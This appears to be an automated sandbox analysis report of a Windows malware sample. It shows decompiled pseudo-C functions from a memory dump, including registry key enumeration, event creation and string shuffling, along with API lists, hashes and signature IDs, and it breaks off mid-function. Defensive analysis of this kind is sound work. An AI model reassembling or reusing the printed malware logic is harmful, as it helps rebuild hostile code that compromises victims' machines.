			E00F0853F(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				void* _t62;
				intOrPtr _t64;
				char _t65;
				void* _t67;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0xf0d33c);
					_t91 = 0x80000002;
					L6:
					_t59 = E00F09070( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					_t62 = E00F06E98(_t92, _t97, _t101, _t91, _t59); // executed
					if(_t62 != 0) {
						L27:
						E00F0A734(_a8);
						goto L29;
					}
					_t64 =  *0xf0d278; // 0x5279a98
					_t16 = _t64 + 0xc; // 0x5279b66
					_t65 = E00F09070(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d00f0c0, executed
						_t67 = E00F022F1(_t97,  *_t33, _t91, _a8,  *0xf0d334,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))); // executed
						if(_t67 == 0) {
							_t68 =  *0xf0d2a8; // 0x436a5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0xf0ea3f; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0xf0e8e7; // 0x55434b48
								_t69 = _t34;
							}
							if(E00F06C38(_t69,  *0xf0d334,  *0xf0d338,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0xf0d2a8; // 0x436a5a8
									_t44 = _t71 + 0xf0e846; // 0x74666f53
									_t73 = E00F09070(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d00f0c0
										E00F05D7D( *_t47, _t91, _a8,  *0xf0d338, _a24);
										_t49 = _t101 + 0x10; // 0x3d00f0c0
										E00F05D7D( *_t49, _t91, _t99,  *0xf0d330, _a16);
										E00F0A734(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d00f0c0, executed
									E00F05D7D( *_t40, _t91, _a8,  *0xf0d338, _a24); // executed
									_t43 = _t101 + 0x10; // 0x3d00f0c0
									E00F05D7D( *_t43, _t91, _a8,  *0xf0d330, _a16);
								}
								if( *_t101 != 0) {
									E00F0A734(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d00f0c0, executed
					_t81 = E00F08BC1( *_t21, _t91, _a8, _t65,  &_v16,  &_v12); // executed
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d00f0c0
							E00F022F1(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E00F0A734(_t100);
						_t98 = _a16;
					}
					E00F0A734(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E00F0A749(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0xf0d33c);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}

0x00f0853f
0x00f08548
0x00f0854f
0x00f08554
0x00f085c1
0x00f085c7
0x00f085cc
0x00f085d3
0x00f085d8
0x00f085dd
0x00f08748
0x00f0874f
0x00f0874f
0x00f08754
0x00f08756
0x00f08756
0x00f0875f
0x00f0875f
0x00f085e3
0x00f085e8
0x00f085ef
0x00f0873e
0x00f08741
0x00000000
0x00f08741
0x00f085f5
0x00f085fa
0x00f085fd
0x00f08602
0x00f08607
0x00f08650
0x00f08650
0x00f08663
0x00f08666
0x00f0866d
0x00f08673
0x00f0867a
0x00f08684
0x00f08684
0x00f0867c
0x00f0867c
0x00f0867c
0x00f0867c
0x00f086a6
0x00f086ae
0x00f086dc
0x00f086e1
0x00f086e8
0x00f086ed
0x00f086f1
0x00f08723
0x00f086f3
0x00f08700
0x00f08703
0x00f08713
0x00f08716
0x00f0871c
0x00f0871c
0x00f086b0
0x00f086bd
0x00f086c0
0x00f086d2
0x00f086d5
0x00f086d5
0x00f0872d
0x00f08739
0x00f0872f
0x00f08732
0x00f08732
0x00f0872d
0x00f086a6
0x00000000
0x00f0866d
0x00f08616
0x00f08619
0x00f08620
0x00f08626
0x00f08629
0x00f0862b
0x00f08637
0x00f0863a
0x00f0863a
0x00f08640
0x00f08645
0x00f08645
0x00f0864b
0x00000000
0x00f0864b
0x00f08559
0x00000000
0x00f08580
0x00f08580
0x00f0858c
0x00f0859f
0x00f085a5
0x00f085ad
0x00000000
0x00f085ad

APIs

StrChrA.SHLWAPI(00F03741,0000005F,00000000,00000000,00000104), ref: 00F08572
lstrcpy.KERNEL32(?,?), ref: 00F0859F

Part of subcall function 00F09070: lstrlen.KERNEL32(?,00000000,05279A98,00000000,00F08808,05279C76,?,?,?,?,?,63699BC3,00000005,00F0D00C), ref: 00F09077
Part of subcall function 00F09070: mbstowcs.NTDLL ref: 00F090A0
Part of subcall function 00F09070: memset.NTDLL ref: 00F090B2

Part of subcall function 00F05D7D: lstrlenW.KERNEL32(?,?,?,00F08708,3D00F0C0,80000002,00F03741,00F0A513,74666F53,4D4C4B48,00F0A513,?,3D00F0C0,80000002,00F03741,?), ref: 00F05DA2

Part of subcall function 00F0A734: RtlFreeHeap.NTDLL(00000000,00000000,00F05637,00000000,?,?,00000000), ref: 00F0A740

lstrcpy.KERNEL32(?,00000000), ref: 00F085C1

Strings

\, xrefs: 00F085A5
(, xrefs: 00F08622

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: ($\
API String ID: 3924217599-1512714803
Opcode ID: d0d0863d34a145e3b7f70f046ec697e5b63bad216f3ba3fc9d31d3d0488ccc60
Instruction ID: 915550e118987c5da62b63aa3775de0d875a8233bd38500b33f083e89e24ce4c
Opcode Fuzzy Hash: d0d0863d34a145e3b7f70f046ec697e5b63bad216f3ba3fc9d31d3d0488ccc60
Instruction Fuzzy Hash: 29515972500209EFDF21AFA0DE44EAA77BAFF04390F108514F955961A1EB3ADD26FB11

Uniqueness

Uniqueness Score: -1.00%

Function 00F05BA2, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E00F05BA2(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E00F06C09();
				if(_t21 != 0) {
					_t59 =  *0xf0d25c; // 0x4000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0xf0d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0xf0d160(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E00F0496B( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0xf0d2a8; // 0x436a5a8
					if( *0xf0d25c > 5) {
						_t8 = _t26 + 0xf0e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0xf0e9f5; // 0x44283a44
						_t27 = _t7;
					}
					E00F0729A(_t27, _t27);
					_t31 = E00F0232F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0xf0d270 =  *0xf0d270 ^ 0x81bbe65d;
						_t32 = E00F0A71F(0x60);
						 *0xf0d32c = _t32;
						__eflags = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0xf0d32c; // 0x52795b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0xf0d32c; // 0x52795b0
							 *_t51 = 0xf0e81a;
						}
						_t54 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0xf0d238, 0, 0x43);
							 *0xf0d2c8 = _t36;
							__eflags = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0xf0d25c; // 0x4000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0xf0d2a8; // 0x436a5a8
								_t13 = _t58 + 0xf0e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0xf0c287);
							}
							_t54 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E00F09135( ~_v8 &  *0xf0d270, 0xf0d00c); // executed
								_t42 = E00F0888E(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E00F087AE(); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E00F051B0(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t54 = E00F01C66(__eflags,  &(_t65[4]));
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0xf0d15c();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E00F0A273(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x00f05ba2
0x00f05bad
0x00f05bb0
0x00f05bb3
0x00f05bb6
0x00f05bbd
0x00f05bbf
0x00f05bcb
0x00f05bcd
0x00f05bcd
0x00f05bd6
0x00f05bdc
0x00f05be1
0x00f05bfb
0x00f05c07
0x00f05c09
0x00f05c0e
0x00f05c18
0x00f05c18
0x00f05c10
0x00f05c10
0x00f05c10
0x00f05c10
0x00f05c1f
0x00f05c2c
0x00f05c33
0x00f05c38
0x00f05c38
0x00f05c40
0x00f05c43
0x00f05c69
0x00f05c75
0x00f05c7a
0x00f05c7f
0x00f05c81
0x00f05cad
0x00f05caf
0x00f05c83
0x00f05c87
0x00f05c8c
0x00f05c91
0x00f05c98
0x00f05c9e
0x00f05ca3
0x00f05ca9
0x00f05cb0
0x00f05cb2
0x00f05cb4
0x00f05cc3
0x00f05cc9
0x00f05cce
0x00f05cd0
0x00f05d00
0x00f05d02
0x00f05cd2
0x00f05cd2
0x00f05cd8
0x00f05ce5
0x00f05ceb
0x00f05ceb
0x00f05cf3
0x00f05cfc
0x00f05d03
0x00f05d05
0x00f05d07
0x00f05d0e
0x00f05d1b
0x00f05d20
0x00f05d25
0x00f05d27
0x00f05d29
0x00000000
0x00000000
0x00f05d2b
0x00f05d30
0x00f05d32
0x00f05d39
0x00f05d3d
0x00f05d40
0x00f05d55
0x00f05d59
0x00f05d5e
0x00000000
0x00f05d5e
0x00f05d42
0x00f05d44
0x00000000
0x00000000
0x00f05d4f
0x00f05d51
0x00f05d53
0x00000000
0x00000000
0x00000000
0x00f05d53
0x00f05d36
0x00f05d36
0x00f05d07
0x00f05c45
0x00f05c45
0x00f05c4a
0x00f05d60
0x00f05d64
0x00f05d6c
0x00f05d6c
0x00000000
0x00f05d64
0x00f05c50
0x00f05c53
0x00f05c5d
0x00f05c64
0x00000000
0x00f05d74
0x00f05d74
0x00f05d78
0x00f05d7c
0x00f05d7c

APIs

Part of subcall function 00F06C09: GetModuleHandleA.KERNEL32(4C44544E,00000000,00F05BBB,00000000,00000000), ref: 00F06C18

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 00F05C38

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

memset.NTDLL ref: 00F05C87
RtlInitializeCriticalSection.NTDLL(05279570), ref: 00F05C98

Part of subcall function 00F01C66: memset.NTDLL ref: 00F01C7B
Part of subcall function 00F01C66: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 00F01CBD
Part of subcall function 00F01C66: StrCmpNIW.SHLWAPI(00000000,00000000,00000000), ref: 00F01CC8

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 00F05CC3
wsprintfA.USER32 ref: 00F05CF3

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: 7d0209935ab3bd192e71b74c28300138baed6404cd1c6296dd977592b7efef10
Instruction ID: a652eb69a8f634475642c3a4cf9568e381904bf475de204dea19f63f6ec2b32c
Opcode Fuzzy Hash: 7d0209935ab3bd192e71b74c28300138baed6404cd1c6296dd977592b7efef10
Instruction Fuzzy Hash: 8D51FF71E01B1CABEB21ABE4DC8DB6F73A8BB04B10F148826E501D71D1E6B49945BF90

Uniqueness

Uniqueness Score: -1.00%

Function 00F062DA, Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145
stringCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E00F062DA(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E00F0A71F(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E00F0A734(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E00F0A71F((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0xf0d278 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124); // executed
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}

0x00f062e1
0x00f062e8
0x00f062ed
0x00f062f0
0x00f062f7
0x00f062fa
0x00f062fd
0x00f06302
0x00f06307
0x00f0645b
0x00f0645d
0x00f0645f
0x00f06464
0x00f06464
0x00f0630d
0x00f06310
0x00f06313
0x00f06315
0x00f06315
0x00f06319
0x00000000
0x00000000
0x00f0631d
0x00f06349
0x00f0634e
0x00f06350
0x00f06350
0x00f06353
0x00f06356
0x00f06356
0x00f06358
0x00000000
0x00f06323
0x00f06325
0x00f06344
0x00f06344
0x00f0635b
0x00f0635b
0x00f0635c
0x00f0635c
0x00f0635f
0x00000000
0x00000000
0x00000000
0x00f0635f
0x00f06329
0x00f06370
0x00f06374
0x00f0644e
0x00f06450
0x00f06450
0x00f06451
0x00f06454
0x00000000
0x00f06454
0x00f0637d
0x00f0638e
0x00f06392
0x00f0644a
0x00000000
0x00f0644a
0x00f06398
0x00f0639b
0x00f0639f
0x00f063a3
0x00f063a8
0x00f06440
0x00f06440
0x00000000
0x00f06446
0x00f063b3
0x00f063bc
0x00f063d0
0x00f063d7
0x00f063ec
0x00f063f2
0x00f063fa
0x00000000
0x00000000
0x00000000
0x00000000
0x00f063fc
0x00f063fc
0x00f063fc
0x00f06403
0x00f0640b
0x00000000
0x00000000
0x00f0640d
0x00f06416
0x00000000
0x00000000
0x00000000
0x00f06418
0x00f0641a
0x00f0641d
0x00f0641d
0x00f06420
0x00f06424
0x00f06427
0x00f0642d
0x00f06430
0x00f06437
0x00000000
0x00f063b3
0x00f0632e
0x00f06336
0x00f0633c
0x00f0633e
0x00f0633e
0x00f06341
0x00f06343
0x00000000
0x00f06343
0x00f0631d
0x00f06363
0x00f06368
0x00f0636a
0x00f0636a
0x00f0636d
0x00f0636d
0x00000000

APIs

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

lstrcpy.KERNEL32(63699BC4,00000020), ref: 00F063D7
lstrcat.KERNEL32(63699BC4,00000020), ref: 00F063EC
lstrcmp.KERNEL32(00000000,63699BC4), ref: 00F06403
lstrlen.KERNEL32(63699BC4), ref: 00F06427

Strings

, xrefs: 00F06370

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
String ID:
API String ID: 3214092121-3916222277
Opcode ID: 6e54ef10f1ebc8a80e74ff2880bdddc160b44edc703bd7f23ffd428c68dd4492
Instruction ID: 296c45f5b37c0537b6fcdb04f4e47a3b7fd1898b9d612b88201f78a47cab612a
Opcode Fuzzy Hash: 6e54ef10f1ebc8a80e74ff2880bdddc160b44edc703bd7f23ffd428c68dd4492
Instruction Fuzzy Hash: 89519E75E00218EBDF21DF99C8847ADBBB6FF45324F14805AE815DB291C770AA61FB80

Uniqueness

Uniqueness Score: -1.00%

Function 00F011EE, Relevance: 7.6, APIs: 5, Instructions: 96
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F011EE(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				void* _t18;
				WCHAR* _t19;
				long _t20;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				WCHAR** _t32;

				_t6 =  *0xf0d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0xf0d2a8; // 0x436a5a8
				_t3 = _t8 + 0xf0e87e; // 0x61636f4c
				_t25 = 0;
				_t30 = E00F038A8(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0xf0d2ac, 1, 0, _t30);
					E00F0A734(_t30);
				}
				_t12 =  *0xf0d25c; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E00F08EA1(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t18 = E00F0A65C(); // executed
					if(_t18 != 0) {
						goto L12;
					}
					_t19 = StrChrW( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 =  &(_t19[1]);
					}
					_t20 = E00F0A273(0,  *_t32, _t19, 0); // executed
					_t31 = _t20;
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x00f011ef
0x00f011f6
0x00f01200
0x00f01204
0x00f0120a
0x00f01219
0x00f01220
0x00f01224
0x00f01236
0x00f01238
0x00f01238
0x00f0123d
0x00f01244
0x00f0129b
0x00f0129b
0x00f012a1
0x00f012a3
0x00f012a3
0x00f012ad
0x00f012b1
0x00f012c3
0x00f012c3
0x00f012c7
0x00f012cd
0x00f012cd
0x00000000
0x00f01254
0x00f01254
0x00f0125b
0x00000000
0x00000000
0x00f01262
0x00f0126a
0x00f0126e
0x00f01272
0x00f01272
0x00f0127a
0x00f0127f
0x00f01283
0x00f01287
0x00f012dc
0x00f012e2
0x00f012e2
0x00f01295
0x00f01299
0x00f012d0
0x00f012d2
0x00f012d5
0x00f012d5
0x00000000
0x00f012d2
0x00f01299
0x00000000
0x00f01283

APIs

Part of subcall function 00F038A8: lstrlen.KERNEL32(00000005,00000000,63699BC3,00000027,00000000,05279A98,00000000,?,?,63699BC3,00000005,00F0D00C,?,?,00F05D30), ref: 00F038DE
Part of subcall function 00F038A8: lstrcpy.KERNEL32(00000000,00000000), ref: 00F03902
Part of subcall function 00F038A8: lstrcat.KERNEL32(00000000,00000000), ref: 00F0390A

CreateEventA.KERNEL32(00F0D2AC,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,00F03760,?,00000001,?), ref: 00F0122F

Part of subcall function 00F0A734: RtlFreeHeap.NTDLL(00000000,00000000,00F05637,00000000,?,?,00000000), ref: 00F0A740

StrChrW.SHLWAPI(00F03760,00000020,61636F4C,00000001,00000000,00000001,?,00000000,?,00F03760,?,00000001,?), ref: 00F01262
WaitForSingleObject.KERNEL32(00000000,00004E20,00F03760,00000000,00000000,?,00000000,?,00F03760,?,00000001,?,?,?,?,00F052AA), ref: 00F0128F
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,00F03760,?,00000001,?), ref: 00F012BD
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,00F03760,?,00000001,?,?,?,?,00F052AA), ref: 00F012D5

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: 618c5b03c512ce641849e350f2de1ade97ab5e1568fea940f13ab6693c855179
Instruction ID: c3ae70d41e6db6a45b056de3b210efba61de84f5666a306dd801cc53ec18d9ad
Opcode Fuzzy Hash: 618c5b03c512ce641849e350f2de1ade97ab5e1568fea940f13ab6693c855179
Instruction Fuzzy Hash: C621F332E003189BCB319BAC9C44A6BB3A9FB89B30F050625FD45D71D0DB60CC01B694

Uniqueness

Uniqueness Score: -1.00%

Function 00F03AB0, Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 00F03B0D
SysAllocString.OLEAUT32(00F085ED), ref: 00F03B51
SysFreeString.OLEAUT32(00000000), ref: 00F03B65
SysFreeString.OLEAUT32(00000000), ref: 00F03B73

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 34180ad23e5e9120624d4f5086c62b2a787ed0da3978bf706abe22e9f94b593a
Instruction ID: bac45def8ed090c210c960639257e31b94f1fa53f267e723bb8a7171830bdf37
Opcode Fuzzy Hash: 34180ad23e5e9120624d4f5086c62b2a787ed0da3978bf706abe22e9f94b593a
Instruction Fuzzy Hash: 593132B6900209EFCB04DF98D8C49AEBBB9FF48314B10842EF506DB250D7349A41EF65

Uniqueness

Uniqueness Score: -1.00%

Function 00F0A446, Relevance: 6.1, APIs: 4, Instructions: 98
registrysynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F0A446(void* __ecx, intOrPtr _a4) {
				int* _v8;
				int _v12;
				int* _v16;
				int _v20;
				int* _v24;
				char* _v28;
				void* _v32;
				long _t33;
				char* _t35;
				long _t39;
				long _t42;
				intOrPtr _t47;
				void* _t51;
				long _t53;

				_t51 = __ecx;
				_v8 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_t33 = RegOpenKeyExA(0x80000003, 0, 0, 0x20019,  &_v32); // executed
				_t53 = _t33;
				if(_t53 != 0) {
					L18:
					return _t53;
				}
				_t53 = 8;
				_t35 = E00F0A71F(0x104);
				_v28 = _t35;
				if(_t35 == 0) {
					L17:
					RegCloseKey(_v32); // executed
					goto L18;
				}
				_v20 = 0x104;
				do {
					_v16 = _v20;
					_v12 = 0x104;
					_t39 = RegEnumKeyExA(_v32, _v8, _v28,  &_v12, 0, 0, 0, 0); // executed
					_t53 = _t39;
					if(_t53 != 0xea) {
						if(_t53 != 0) {
							L14:
							if(_t53 == 0x103) {
								_t53 = 0;
							}
							L16:
							E00F0A734(_v28);
							goto L17;
						}
						_t42 = E00F0853F(_t51, _v32, _v28, _v24, _v12,  &_v8, _a4); // executed
						_t53 = _t42;
						if(_t53 != 0) {
							goto L14;
						}
						goto L12;
					}
					if(_v12 <= 0x104) {
						if(_v16 <= _v20) {
							goto L16;
						}
						E00F0A734(_v24);
						_v20 = _v16;
						_t47 = E00F0A71F(_v16);
						_v24 = _t47;
						if(_t47 != 0) {
							L6:
							_t53 = 0;
							goto L12;
						}
						_t53 = 8;
						goto L16;
					}
					_v8 = _v8 + 1;
					goto L6;
					L12:
